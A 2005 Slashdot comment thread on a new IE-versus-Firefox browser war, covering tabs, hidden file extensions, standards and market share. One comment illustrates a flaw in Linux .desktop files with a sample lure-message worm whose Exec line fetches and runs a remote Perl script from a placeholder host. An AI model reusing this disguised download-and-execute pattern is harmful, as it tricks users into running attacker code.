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Mozilla Internet Explorer The Internet

Browser Wars 2: Electric Boogaloo 251

Tomas wrote to mention an article up on XYZ Computing discussing what is shaping up to be another round of the Browser Wars. From the article: "To anyone that has been following the Window's browser news lately, it is apparent that the stage is set for another browser war. Last experienced during the nineties, companies are fighting over which program consumers use to view the internet. For the average computer user this is a very good thing as it should drastically improve browser performance in a short period of time."
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Browser Wars 2: Electric Boogaloo

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  • by yagu ( 721525 ) <yayagu.gmail@com> on Saturday May 28, 2005 @03:44PM (#12665376) Journal

    From the fine article:

    The feature which everyone is talking about lately is the addition of tabbed browsing to IE. While all other popular browsers have gone the tabbed route IE has resisted, ostensibly because other Microsoft programs do not use this. The change will be made though it is less important that in the past because Windows XP's taskbar is capable of grouping similar buttons, which effectively tabs a number of IE windows.

    First, Windows products do seem to use TABS.... Right-click on "My Computer" (if you've actually left it named that!), select PROPERTIES. Not only does Microsoft use TABS to manage some of the most important aspects of computers, they've done it poorly! What the....???? When you click on an upper row tab, the upper row of TABS becomes the bottom row?!? Wow! Yes, Microsoft products not only support and/or use TABS, they were the first to make me hate tabbed interfaces.

    Fortunately Mozilla and Firefox came along and convinced me tabbed interfaces could be done nicely and ergonomicly. I'm back in the tabbed fold... sigh.

    Second, the claim that adding tabbed browsing to IE is less important because the Taskbar can group similar activities, therefor it already is like tabbed browsing may illustrate more than I'm able how Microsoft doesn't get it. The "like apps" Taskbar browsing has been the source of more headaches for me... I've tried using it, found it obtuse and annoying -- that's okay, just my preference and opinion. But, once again, it's been frustrating in a support role because you (rhetorically) end up trouble-shooting for users an interface poorly thought out and confusing to users. I find Microsoft's "easy to use" ideas sometimes baffling.... (how many times have you over the phone tried to walk someone through a WORD problem only to stumble when they can't find the menu option, and it's because Microsoft has unilaterally decided "hiding" little-used features under menu chevrons).

    Other than that, back to the main topic, hopefully more energetic competition in the browser world will mean better and higher quality browsers, but if history serves, it will be a minor spurt in advancement until Microsoft has re-landed their stranglehold on that segment of the market.... and I'm guessing that won't take very long.

    • I do not *believe* the fuss made over tabbed browsing. I mean, FFS!

    • by wallykeyster ( 818978 ) on Saturday May 28, 2005 @03:54PM (#12665443)
      Personalized Menus are a support nightmare, but lets not stop there. If you want to talk about an even worse default setting that has caused unbelievable trouble, what about hiding file extensions? This option was largely responsible for the success of email viruses that came as attachments named "big_boobs.jpg.exe". Despite little value to this setting and massive downside, Microsoft refused to change it for years.
      • by yagu ( 721525 ) <yayagu.gmail@com> on Saturday May 28, 2005 @04:02PM (#12665509) Journal

        Absolutely Microsoft in my opinion has done more damage to the interest of seamless computing with that single "transparency" than maybe all other gaffes combined (probably thought they were creating something seamless!)! I've seen more hacks, more lost files, more corrupt files, and more hijacked files with the hidden extension "feature". Jumping from the 8.3 restriction in DOS (another thing Microsoft could've/should've fixed long ago with their bully pulpit but didn't) into Windows and GUI's and high powered computing rather than expunging extensions as a requirement to "make things work", Microsoft hid them! And so something that is ostensibly necessary in the Microsoft paradigm and probably should be opaque so people can be aware, ask questions, and learn what extensions are, how they're used, and why they exist.... Microsoft opts to make transparent!

        You're right on about the filename.jpg.exe hacks.... but equally annoying are the piggybacking superfluous extensions, e.g., mypicture.jpg.JPG. Sheeesh!

        • You're the first person I've ever seen say that Microsoft has a Bully Pulpit.

          You sir, are awesome.
        • On the other hand, you could argue that extensions are useful. I know that double-clicking on a jpg file will never run it as if it's an exe, so I know that this jpg file that I downloaded is not actually an executable file in disguise. I think the unix method of "no extensions" is even more dangerous, the user has no idea what a file is and relies on the file manager to identify it for them with an icon. I can see a lot of eventualities where I get an e-mail with an executable file attached that's named "h
      • by diegocgteleline.es ( 653730 ) on Saturday May 28, 2005 @04:54PM (#12665801)
        This option was largely responsible for the success of email viruses that came as attachments named "big_boobs.jpg.exe"

        IMO the problem there was the .exe extension, not that they hide it. No matter what you do, a .exe file is executable. Compare it to the Unix's permission model. You could download a executable from internet, but it wouldn't work because it has not the +x bit set.

        And don't think you're free of the Windows braindamage in linux/BSD. Freedesktop managed to fuck it again, with the "desktop specification file" (Warning: don't try to discuss this with the freedesktop guys. I already tried). Noticed how nautilus and konqueror hide the extension in .desktop files? Noticed how inside a .desktop file you have a "Run=" field where you can put "Run=wget www.foo.com/worm.pl; perl worm.pl"? Noticed in fact how you can hide the whole file name by adding a "Name=" field?

        In fact, look at the following valid worm:

        I'm called Mary, and I want to know what you think about my new bikini
        To see me, save the attached file in your desktop and double click it. Kisses!

        attached file: save.to.your.desktop
        Name=My Bikini zoomed.jpg
        Icon=fakeiconpresentonthesystem.png
        Exec=wget http://www.foo.com/evilperlscript [foo.com]; perl evilperlscript


        We just need more marketshare to see this work.
        • Mod parent up! (Score:2, Insightful)

          by pv2b ( 231846 )
          This needs to be stressed. The biggest threat to computer security is not insecurity in the underlying operating system. It's users not knowing what they're doing.

          In this sense, having operating systems hide operation details from you is a Very Bad Thing.

          Also, it's naïve to think that the pure virtue of Linux and Mac OS X running everything as an unpriviledged user as standard is going to stop virus writers. You don't need to take over a computer completely to screw with it. You can install nice litt
        • No matter what you do, a .exe file is executable.

          Really? Because when I change the Read & Execute permission on the file to Deny, I sure as hell can't execute it.
    • I agree 100% with parent, but just wanted to add reason 3 why the article is silly to suggest "Windows XP's taskbar is capable of grouping similar buttons, which effectively tabs a number of IE windows." When it groups similiar buttons, they're (at least) 2 clicks away (plus if you're like me, if you're stuck in windows, your start menu is autohidden, so it's 2 clicks & a split second wait). Plus, when experiencing ram-withdrawal lag, switching IE windows often becomes a 5-second hard-drive lagathon.
    • Taskbar program grouping takes care of one problem that tabbed-browsing solves, namely having easy access to any number of "windows". It does not, however, solve the "too many windows" problem. Open up 9 firefox Windows and see how unwieldy your desktop is. Furthermore, Alt+Tab also suffers from multiple windows, whereas with tabbed browsing, one Alt+Tab gets you to the browser window, then ctrl+tabs get you to the right tab.

    • btw, i really don't understand what the big deal about tabs in msie is... people who cared have been using them for ages with products like slimbrowser, like i did before using firefox. people who don't will continue not to care and will not use them, probably they'll never even see them because ms will make it so that, by default, when there's only one tab it is hidden.
    • by diegocgteleline.es ( 653730 ) on Saturday May 28, 2005 @04:28PM (#12665634)
      but if history serves, it will be a minor spurt in advancement until Microsoft has re-landed their stranglehold on that segment of the market.... and I'm guessing that won't take very long.

      Actually, the reason why IE has 90% of market share is not that Microsoft put it by default in windows. It helped, indeed, but there're proofs that netscape pretty much fucked it up. Basically, Netscape let them win without opposing resistance

      Here's an interview [arstechnica.com] from Arstechnica to Scott Collins, a programmer who was working at netscape back in the netscape 4.0 days:


      Ars: You mention mistakes made by Microsoft. What do you feel are mistakes that Mozilla has made in the past?

      There was a fundamental mistake made by Netscape management, twice, which cost us a release at the most inopportune time. I think we can attribute a great deal of our market share loss to this mistake that was pretty much based completely on lies from one executive, who has since left the company (and left very rich) and who was an impediment to everything that we did. He was an awful person, and it is completely on him that we missed a release. We had a "Netscape 5" that was within weeks of being ready to go, and this person said that we needed to ship something based on Gecko within 6 months instead. Every single engineer in the company told management "No, it will be two years at least before we ship something based on Gecko." Management agreed with the engineers in order to get 5.0 out.a

      Three months later they came back and said "We've changed our mind, this other executive has convinced us, except now instead of six months, you need to do it in three months." Well, you can't put 50 pounds of [crap] in a ten pound bag, it took two years. And we didn't get out a 5.0, and that cost of us everything, it was the biggest mistake ever, and I put it all on the feet of this one individual, whom I will not name.
    • When you click on an upper row tab, the upper row of TABS becomes the bottom row?!?

      Do you think before you post? If the default behaviour was for the upper row to stay the upper row when clicked, it would cover up the bottom row of tabs.
    • The whole 'tabbed browsing' thing is just a poor attempt to copy Operas MDI interface anyway.

      And yes, I use Firefox as my primary browser now - not Opera - but for other reasons than this. No other browser yet has gotten that part of the interface as usable as Opera had several years ago. And I really think conceiving of it as 'tabs' has something to do with it.

      I don't want tabs, I want a decent MDI interface for my browser.
    • Tabs were introduced by Microsoft in Office 97, which were copied from Lotus Organizer which were copied as a metaphor from paper organizers

    • Windows products do seem to use TABS.... Right-click on "My Computer" (if you've actually left it named that!), select PROPERTIES. Not only does Microsoft use TABS to manage some of the most important aspects of computers, they've done it poorly! [--snip--] Fortunately Mozilla and Firefox came along and convinced me tabbed interfaces could be done nicely and ergonomicly. I'm back in the tabbed fold... sigh.

      I like the Mozilla/Firefox tabs, and so far I prefer them over anything else I've seen late

    • The MS product that has long had dynamic tabs like Firefox is the Visual Studio IDE.
    • When you click on an upper row tab, the upper row of TABS becomes the bottom row?!?

      This makes sense if you think of tabs like tabs in a binder or rolodex. When you flip to a tab in a rolodex, that tab does indeed occupy the bottom row, and all other tabs occupy the top row.

      The problem you're pointing out is simply a problem with the desktop paradigm. I always preferred the Amiga's "workbench" paradigm. It made a lot more sense. I agree that things need to move on. A GUI should not pretend to be a desk
  • by 3770 ( 560838 ) on Saturday May 28, 2005 @03:48PM (#12665405) Homepage

    I don't care if browsers compete with performance. I don't even much care if they compete with functionality.

    I just want security.

    Well, OK, I also want standards compliance which maybe counts as functionality. But no crazy "innovative" feature that they believe will woo the public.
    • Most people don't. (Score:5, Insightful)

      by DogDude ( 805747 ) on Saturday May 28, 2005 @03:57PM (#12665473)
      That's great for you, but you're not in the majority. The browser wars will ocne again be determined by populartiy, which is determined by prettiness, features, etc. Most people don't really care about security, and only developers (and other related uber-geeks) care about standards compliance.
      • "The browser wars will ocne again be determined by populartiy..."

        Look at it this way: If MS puts real tabbed browsing in IE, the majority of users will become familiar with it. Then, when they hear that Firefox, Opera, and ??? also have this feature (which they now know what it is) AND are more secure against identity theft and other evils, they are more likely to take notice and investigate.

        The smartest move Mozilla could make with Firefox is to make the default skin look and feel like IE. Then the cluel
    • "Well, OK, I also want standards compliance which maybe counts as functionality. "

      You'll need unambiguous standards before that happens. Even today, no two browsers are alike.
  • ...can't we all just get along together?
  • Firefox vs IE (Score:3, Insightful)

    by 1010011010 ( 53039 ) on Saturday May 28, 2005 @03:49PM (#12665410) Homepage
    The battle is Firefox vs IE. The danger is of Microsoft winning again, but not because they have a better product.

    At best, IE 7 will work only on certain versions of Windows.
    • "The battle is Firefox vs IE. The danger is of Microsoft winning again, but not because they have a better product."

      Gee, then I guess the Mozilla group will have to keep innovating. Boy, that'd sure suck for the rest of us.
    • Re:Firefox vs IE (Score:3, Insightful)

      by Taladar ( 717494 )
      The danger isn't Microsoft winning again, the danger is anyone winning at all. Sure, the current situation with a closed source 90% market share product is worse than a 90% market share open source product situation but a far better outcome for improved standard compliance in the future would be a market with 3 or 4 browsers with at least 20% market share each.
  • extensions (Score:3, Interesting)

    by roman_mir ( 125474 ) on Saturday May 28, 2005 @03:49PM (#12665413) Homepage Journal
    it looks like all browsers will have to implement each other's functionalities. For example I wouldn't think for a second going to MSIE unless it was CSS2 compatible and it fully supported XPI extensions. I am biased of-course, since I am working on my own extensions (russkey [slashdot.org], leetkey [slashdot.org]) so why would I want to use a browser that does not provide the same functionality? The only way to force someone like me to use IE is to make sure that the places I work at are only IE compliant and do not work in other browsers, because voluntarely, I would not use websites that are locked into IE only.
    • leetkey [mozdev.org] - whaat is going on with the links here?

      this is a test.
    • Re:extensions (Score:2, Interesting)

      by R.Mo_Robert ( 737913 )

      Why would IE support XPI extensions? To support all of them, they'd probably have to re-write IE in XUL, and to accurately support all existing Fx XPI's unmodified, they'd have make it the exact same as Firefox. Does Mozilla support IE's Browser "Helper" Objects? Of course not.

      But I do agree that I will never use or recommend IE until its CSS compliance improves.

      P.S. - The links to russkey and leetkey are are broken (for those who need help viewing them: remove "slashdot.org/" from them and they will work

    • Demanding that IE should support XPIs is like saying Linux has to support Win32, natively. They are dependent on the object model of the browser itself. To imitate it would mean imitating more or less all of Gecko.

      It would also mean that you expect Firefox to support the IE Google toolbar, in a binary compatible manner (on Windows), and every other, let's say, less reputable BHO (Browser Helper Object, the main IE method of extension of the UI itself). Gator may ring some bells for you.

      My own favorite per

  • by Anonymous Coward on Saturday May 28, 2005 @03:50PM (#12665419)
    It is a period of civil war.
    Mozilla spaceships, striking
    from a hidden base, have won
    their first victory against
    the evil Microsoft Empire.

    During the battle, Mozilla
    spies managed to steal secret
    plans to the Empire's
    ultimate weapon, INTERNET
    EXPLORER 7, an armored web
    browser with enough power to
    destroy an entire website.

    Pursued by the Empire's
    sinister agents, Firefox users
    race home aboard their
    browser, custodian of the
    web standards that can save
    their people and restore
    freedom to the web....
    • There's a typo but I'll fix it:

      During the battle, Mozilla
      spies managed to steal secret
      plans to the Empire's
      ultimate weapon, INTERNET
      EXPLORER 7, an armored web
      browser with enough power to
      destroy an entire Windows Operating
      System
      .

  • Performance? (Score:5, Insightful)

    by slavemowgli ( 585321 ) on Saturday May 28, 2005 @03:51PM (#12665424) Homepage
    Maybe it's just me, but I think browser performance isn't much of a problem any more these days. Standards compliance, on the other hand, is, and I hope that this is the area where a new browser "war" might actually help out.

    We all know that IE's standards compliance leaves a lot to be desired, but the Mozilla crew's product leaves a number of things to be desired, too. The Acid2 test may be one example, but there's also other things like MNG support and CSS-generated content where Gecko is still lacking, so hopefully, the people in charge will realize that if they want to replace IE as the standard browser, they shouldn't repeat the same mistakes of not caring about the finer details of the standards.
    • Re:Performance? (Score:2, Informative)

      Indeed. Not to let IE off the hook, but Gecko's lack of support for display: inline-block and display: run-in has substantially complicated many a project of mine. Even IE supports these properties, for shame, and the workarounds for Gecko are a real bitch, where they exist at all.

      Just a pet peeve of mine, I guess. Anyone else?
    • It's actually not that difficult to make a standard-compliant browser. The real problem is that IE is extremely permissive, and most of this world's sites are built specifically for IE. This was a deliberate move by Microsoft.

      The real problem with other browsers is that it's extremely difficult to emulate IE's behavior, and not w3c conformance.

      • The real problem is that IE is extremely permissive, and most of this world's sites are built specifically for IE. This was a deliberate move by Microsoft.

        Yes, and the reasoning was that old versions of Nutscrape were extremely permissive, and most of the world's sites were built specifically for Nutscrape (which had 90% marketshare). So MS was deliberately backward compatible with a lot of cruddy web pages.

        Even before then, "Permissiveness" was touted as the killer feature of HTML -- the syntax rules we
    • When you are running Firefox on your Nokia tablet, you might start singing the performance song.
  • What about Opera? (Score:5, Interesting)

    by Will2k_is_here ( 675262 ) on Saturday May 28, 2005 @03:52PM (#12665426)
    I don't even like Opera but I'm very surprised Opera 8 never got mentioned in the article. NS8 over Opera?! Sub-par... sub-par...
  • To win the browser war, budding browser development teams should implement my new idea for tabbed browsing.

    The browser should let you access all the paid sites you want, and put all the charges on a tab. This can then be paid off at the end of the month. I'd switch to running IE under Wine (is that even possible?) if M$ brought this feature out.

    SUPPORT TABBED BROWSING!!
  • by ArmorFiend ( 151674 ) on Saturday May 28, 2005 @03:56PM (#12665462) Homepage Journal
    I never heard of this "firefox" thing before now. I had had no idea what tabs were before now. Its interesting to learn that this "Internet Explorer" isn't the only internet out there. I'm glad there's a website like this "Slashdot" to tell us these things - thank you Slashdot!
  • by ian rogers ( 760349 ) on Saturday May 28, 2005 @03:56PM (#12665463)
    Of course IE has had 90%+ market share.

    You really expect people who don't even know how computers work to go out of their way to get a new browser when they have no clue why they would need it? Not only did IE come standard on all the Windows OSes, it also came on OS 9. If Firefox or some other alternative browser can standard, and people had to download IE in order to use it, that browser would have 90%+ market share.

    Until Firefox starts coming on computers instead of/in addition to IE, there's no way it's going to have 90%+ market share.
  • by the_weasel ( 323320 ) on Saturday May 28, 2005 @03:57PM (#12665467) Homepage
    Are we still talking about this? Seriously? Is there any new information here that hasn't been presented, seen, dissected and analysed yesterday, and the day before, and the one before that?

    This reads like we are beating the same old dead horse over and over again.
  • by SamMichaels ( 213605 ) on Saturday May 28, 2005 @03:57PM (#12665472)
    Last experienced during the nineties, companies are fighting over which program consumers use to view the internet. (Emphasis added)

    I "view the internet" using ssh. Sometimes FTP. Maybe SCP. I do like to view the internet using POP3, too.

    The more WE, as people in-the-know, screw up the terminology, the more the sheeple will too. How about we give them the impression that the "interweb" has more than just "that dot com thing"? Maybe, just maaaaaaaybe, if they understand that the INTERNET is a bunch of computers connected together that can talk to each other (and say MANY different things) then they'll also better understand security concerns, patching, etc. Isn't security one of the big factors of the "browser war"?
    • I propose a -1 mod ranking of "high school goth-kid insult" for the term "sheeple."
    • I "view the internet" using ssh. Sometimes FTP. Maybe SCP. I do like to view the internet using POP3, too.

      People who use Firefox for HTTP are more likely to use T-bird for POP3. And once more FTP related RFEs are implemented in Firefox and/or Seamonkey, users of Firefox will be more likely to use Firefox than IE when connecting to FTP sites.

      • I wish Firefox didn't get associated with the FTP protocol in Windows. When it asks me "Do you want Firefox to be your default browser?" I say "Yes," but I only mean "I want to use Firefox as my default http client."

        It's a great web browser. It sucks for FTP.

        When I type an FTP URL into the "Run" dialog, I'd rather have a proper FTP browser (like WinSCP, or yes, even Explorer!) than Firefox. I found the registry keys that change this, and have some .reg files that I keep around to change my settings,

  • It's funny (Score:5, Insightful)

    by mcc ( 14761 ) <amcclure@purdue.edu> on Saturday May 28, 2005 @03:59PM (#12665493) Homepage
    How any time you actually have an honest choice of software in the consumer software world, it's such a strange and upsetting event we have to describe it by the word "wars".

    Wouldn't it be nice if competition between multiple partners were the rule, rather than an exception so bizarre that when it occurs we widely describe it by a word normally associated with mass death and destruction?

    Kind of a small thing, but y'know, just a thought...
    • Because in 2005 you're "the best" or you're nothing.

      Look at the amount of people with iPods thinking they MUST have one, when any cheaper MP3 player would be just as effective.
    • How any time you actually have an honest choice of software in the consumer software world, it's such a strange and upsetting event we have to describe it by the word "wars".

      You're noticing the primacy of the discourse of Capitalism. The apotheosis of US Capitalism is based on a race for domination, if not monopoly, where 2nd place - while not necessarily a poor investment - is indeed considered by critics and the press as first loser.
  • Doubt It (Score:2, Insightful)

    by E-Rock-23 ( 470500 )
    it should drastically improve browser performance in a short period of time

    Bah. It's been how long since the first browser war? And IE is still a heaping pile of crap. And, what's worse, M$ doesn't seem to want to fix what they already have on the market. "Oh, we'll fix it with Longhorn." Yeah, so you'll have to spend more money on a whole new OS, just to fix these bugs that have been arond since at least version 5.

    Granted, all browsers have their flaws. But at least most of these browsers have people wo
  • by Animats ( 122034 ) on Saturday May 28, 2005 @04:04PM (#12665522) Homepage
    Ads to the left. Ads to the right. Ads at the top. Ads in the middle. One paragraph of content per page, then more ads.

    Dumb article, too.

    The next big play in the "browser wars" should be more aggressive ad blocking.

    • What ads? I don't see any ads.

      Oh right, some people don't use adblock yet :P
    • that's why I always first check out Slashdot comments.

      If within 30 seconds I find a comment which says "boring", "stupid", "markedroid" or "obvious" I don't bother clicking anything.

      Besides, most articles are so scarce on insight and information you will learn more from Slashdot discussion browsing at +4.
    • Ads to the left. Ads to the right. Ads at the top. Ads in the middle. One paragraph of content per page, then more ads.

      Platypus! [mozdev.org] Right click, Platypus!, hover cursor, press Del, ...

      Dumb article, too.

      Erm...Platypus can't help that.

  • Anyone else think this was Anti firefox? They say "IE has some security holes" then go on and list 5-6 "problems" (Which I've never exprienced) with Firefox... WTF comes to mind..

    If you're going to write a pro-IE article don't show it off like it's a "browser war" article.
    • It definately did seem to be anti-Firefox to me. They seemed to prefer even Netscape 8 over Firefox, somehow managing to make it sound decent. They make automatically rendering a lot of sites with the IE engine sound like a good thing:

      During normal surfing the browser will use IE's engine (due to its maximum compatibility) but it will switch to Firefox when visiting a shady site.

      It almost sounds like you're a bad person if you visit a site that causes Netscape 8 to switch to Gecko.

      But my favorite

  • by bigberk ( 547360 ) <bigberk@users.pc9.org> on Saturday May 28, 2005 @04:17PM (#12665587)
    Call up your broker, buy 1,000 shares FFOX!!
  • crawls... The newest version of FireFox on a Mac crashes for me using 10.4 Is Camino stable on 10.4 yet? Both Camino and FireFox are noticeably faster than Safari. Now if only Camino would allow me to block images from source.
  • by krappie ( 172561 ) on Saturday May 28, 2005 @04:22PM (#12665608)
    There will never be another browser war on windows. As long as the following are true:
    • Its nearly impossible to buy a computer without buying windows. Manufacturers dont want to upset Microsoft.
    • Every computer that you do buy that comes with windows has a big blue 'e' icon on the desktop.
    • Idiots use computers.

    This is what caused the almost immediate switch from Netscape to Internet Explorer. It had nothing to do with the features of either browser. As long as these three things are true, IE will NEVER go below 80% of the web browser market.
    • Its nearly impossible to buy a computer without buying windows. Manufacturers dont want to upset Microsoft.
      What about all those people buying macs? I've bought my last three computers with Linux preinstalled. They sell them at Fry's and they're prominently advertised in the ads Fry's runs in the local newspaper.

      I think a more accurate statement would be that for people who don't care enough to look at the other options, Windows is the default choice.

      As long as these three things are true, IE will NEV

      • What about all those people buying macs? I've bought my last three computers with Linux preinstalled. They sell them at Fry's and they're prominently advertised in the ads Fry's runs in the local newspaper.

        Yeah, they arent impossible to find if you go looking for them. However, recently I looked around for a laptop online. I went to several large sites and manufacturer's websites. Dell, HP, IBM. I keep hearing about these people selling Linux computers, but they're very hard to find, especially laptop
    • Actually, your post made me wonder.

      A few weeks ago a neighbor of mine called me up saying she was having all sorts of trouble whenever she accessed the Internet. I went over there, saying I could give her a few minutes. Her computer was riddled with spyware. IE had four different spyware related "search bars" running at the top (which is a record in my experience).

      Rather then spend hours cleaning things up, I just downloaded firefox and installed some of the more popular plugins (flash etc.) and delete
      • It makes me wonder now if IE might be losing ground not because firefox is better, but because there seems to be less junk out there that messes with firefox?

        That is seemingly the direct reaction of a single program being used by the masses. In this sense, I think everyone could benefit from more variety. But it probably wont happen with a program as complex as today's browsers.

        Maybe its required that we use something different from the masses of people in order to have a pleasant browsing experience?
        • That is seemingly the direct reaction of a single program being used by the masses. In this sense, I think everyone could benefit from more variety. But it probably wont happen with a program as complex as today's browsers.

          All too true. Just look at operating systems. Part of the reason so much junk like spy ware and viruses is written for Windows is because so many people use it.

          Maybe its required that we use something different from the masses of people in order to have a pleasant browsing experienc
          • So even though Firefox will probably not become *the* dominate browser, it certainly is getting MS off their rears to make IE better.

            What does that say for Microsoft? They only get around to actively developing features in their most commonly used programs when the people form together and make a better alternative with the features they want? Do they just not care as long as they have the market share?

            Even Microsoft realizes its amazing they've managed to get the less than 10% market share on such an
            • They only get around to actively developing features in their most commonly used programs when the people form together and make a better alternative with the features they want?

              Welcome to American Business History for the last 100 years. One only needs to look at the behavior of our automotive industry when the big three were in collusion absent any foreign competitors to see that generally speaking, American industry does not innovate unless a better product threatens their dominance.
  • by superdude72 ( 322167 ) * on Saturday May 28, 2005 @04:29PM (#12665646)
    Why should either side care about winning Browser Wars II?

    In Browser Wars I, Netscape leveraged its popular browser to gain members for its portal service, which was supposed to be the profit center. It also sold an enhanced version of the browser (or was it actually enhanced, or just licensed for corporate use? I can't remember. I never paid for it.)

    Microsoft, similarly, leveraged the popularity of its browser to gain subscribers for MSN portal / ISP.

    This doesn't seem to be such an important goal anymore. (Portals are *so* 1995.) So they'd be going to "war" to provide a product that hasn't proved to be particularly profitable. What's the point?
    • Well, if browsers get too fancy and usable, then they might serve as a portable application platform.

      A portable application platform is a Windows killer. Microsoft does not like Windows killers, so it wants to make sure it controls what browser people use, to disallow it to become a portable application platform.

      That's one theory anyhow.
  • by thekaz ( 879553 ) on Saturday May 28, 2005 @04:37PM (#12665690)
    The last major browser war led to divergent implementations of HTML & JS which drove web developers crazy. The rush to more features led to frequent but poorly tested releases that were (a) unstable; (b) not secure. It is true, however, that it eventually led to a new generation of browsers and much benefit to the end users. One way to avoid the instability may be to somehow enforce and demand adherence to standards, but this is easier said than done.
  • Good, let them fight. When all of their energy is exhausted, we will show them the true follow of their "browser war"!

    click [mff.cuni.cz]
  • Rather than increasing "performance" (probably by precaching), what we would actually see from a new round of browser wars is tons of features nobody really needs - features that integrate the browser with various non-sandboxed activities that are potentially exploitable, features that are enabled by default and that have cryptic (to the neophyte) names so the average user won't know what to disable in order to browse the web safely.

    You know, just like IE is now, except more.

  • by Yankovic ( 97540 ) on Saturday May 28, 2005 @06:38PM (#12666409)
    Caught this on the IE7 blog [msdn.com]:

    It should be no surprise that we do not plan on releasing IE7 for Windows 2000. One reason is where we are in the Windows 2000 lifecycle. Another is that some of the security work in IE7 relies on operating system functionality in XPSP2 that is non-trivial to port back to Windows 2000.


    Will the hurt (more Firefox on older machines) or help (IE7 only available on more secure platforms)?
  • by TwistedSpring ( 594284 ) on Saturday May 28, 2005 @06:52PM (#12666479) Homepage
    drastically improve browser performance

    I hope so. I only get 12 FPS with my current browser and that's not good enough.
  • "For the average computer user this is a very good thing as it should drastically improve browser performance in a short period of time."

    My memories of the browser wars are not that positive. In fact, it was an awful mess from my standpoint. I had an Amiga at the time, and the browsers we had available for it (iBrowse, Voyager, etc.) were always behind the curve, struggling to catch up with IE and Netscape.

    It was *common* to be unable to render many pages, or shop online at many stores, with any kind of

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